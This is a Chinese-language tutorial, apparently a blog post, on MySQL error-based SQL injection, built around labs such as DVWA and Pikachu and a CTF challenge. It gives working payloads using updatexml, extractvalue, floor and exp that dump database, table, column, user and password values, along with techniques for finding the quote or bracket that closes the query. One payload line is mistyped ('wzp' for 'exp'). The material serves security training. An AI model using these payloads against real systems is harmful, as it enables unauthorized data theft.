一.sql语句注入闭合方式判断原理
MYSQL数据库的包容性比较强,如果你输错了数据的类型,MYSQL数据库会自动将其转换成正确的数据类型,比如输入1)、1"、1-等,只要数字后面的字符不是闭合符的,数据库都会把你输入的错误的数据转换成正确的数据类型。
但是,若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。
二.什么是报错注入
报错注入就是利用率数据库的某些机制,人为的制造错误条件,使得查询结果能够出现在错误的信息中
三.报错注入前提
1. Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上
2.后台未对一些具有报错功能的函数进行过滤。
原理
报错注入,通过运行SQL查询语句,回显查询结果。由于某些函数的神奇操作会使得传入参数先运行,而被报错抛出,能够直接查看参数的运行情况,因而实现查询。
四.常见报错函数
updatexml()
extractvalue()
floor()
exp()
(1)updatexml()的用法
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
如果找不到相应的xpath路径,updatexml函数就会报出错误
(2)extractvalue()的用法
extractvalue('XML_document','Xpath_string')
extractvalue('目标xml文件名','在xml中查询的字符串')
(3)floor()
的用法
select count(*),(floor(rand(0)*2)) as x from 表名 group by x
floor()函数报错原理:
floor()函数与group by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry "...' for key'group_key' 。
(4)exp()用法
exp()数学函数,用于计算e的x次方的函数。
exp()报错原理:次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误:
五.知识点补充
(1)updatexml()
库名
1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
查表信息(假定有一个users表,库名为dvwa
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #
查字段值(假设字段名为last_name(dvwa.users意思为调用dvwa库的users表)
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #
(2)extractvalue()
当前库
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #
当前表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
表信息(假设表为users
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
字段值(字段为user_id,first_name,last_name,(dvwa.users意思为调用dvwa库的users表)
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #
(3)floor()
库名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
表名(库为dvwa,通过修改 limit 0,1值递增查表, limit 1,1、limit 2,1
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段名(库:dvwa,表:users
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段值(字段值:user,password(dvwa.users意思为调用dvwa库users表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
(4)exp()
库名
id=1' or exp(~(SELECT * from(select database())a)) or '
表名(库名:pikachu
id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
字段名(表名:users
id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
字段值(字段名:password,表名:users
id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '
六.判断闭合
在做题的过程中遇到的闭合符号多为以下7种
' " 无符号 ) ') ") '))
分析一次操作过程
1.简便的方法
参考
方法1:不能判断有几个括号
?id=2'&&'1'='1
如果闭合符号是’,返回结果是id=2的结果,闭合符号是'),则语句变为('2'&&'1'='1'),Mysql将2作为布尔值,返回的是id=1的结果
方法2:可以精确判断括号个数,和有没有括号
?id=1';%00和id=1')%00,谁回显正常,就是谁,只有输入完全正确的时候才能正常显示
方法3:不能判断有几个括号
1')||'1'=('1,若回显正常,有小括号,反之没有
方法2是最方便的
2.逐个测试分析(助于理解)
这里使用MySQL命令行进行操作测试,一点点的尝试操作
先看 '))
sql语句为SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1
测试:where id=(’ ')
猜测:where id=$id
id=1 and 1=1 正常
id=1 and 1=2 正常
猜测:where id=’$id’
id=1’ and ‘1’=‘1 正常
id=1’ and ‘1’=‘2 错误(这时,可以确定sql语句可以正常执行了)
猜测:where id="$id"
id=1" and “1”=“1 正常
id=1” and “1”="2 正常
猜测:where id=(’$id’)
id=1’) and (‘1’=‘1 正常
id=1’) and (‘1’=‘2 错误(这时,可以确定sql语句可以正常执行了,排除上面单引号闭合)
猜测:where id=((’$id’))
id=1’)) and ((‘1’=‘1 正常
id=1’)) and ((‘1’=‘1 错误(这时,可以确定sql语句可以正常执行了,排除上面 ') 方式闭合)
猜测:where id=(((’$id’)))
id=1’))) and (((‘1’='1 错误,并且,这里的错误与前面的不一样,具体看下面的截图
到这里,单引号加括号的组合就不用再试了,最有可能的就是 ‘))
猜测:where id=("$id")
id=1") and (“1”=“1 正常
id=1”) and (“1”="2 正常
到这里已经可以肯定闭合符号就是’))
这个是判断闭合的原文链接:
https://blog.csdn.net/qq_25094483/article/details/109999616
七.题目
先输入1试试
输入1’
用updatexml()报错注入来得到数据库名
输入1 union select updatexml(1,concat(0x7e,database(),0x7e),1);
爆出了当前使用的数据库名sqli
然后输入1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="sqli") ,0x7e),1);查询表名
输入1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1);查字段名
输入1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1);
输入1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);
查字段值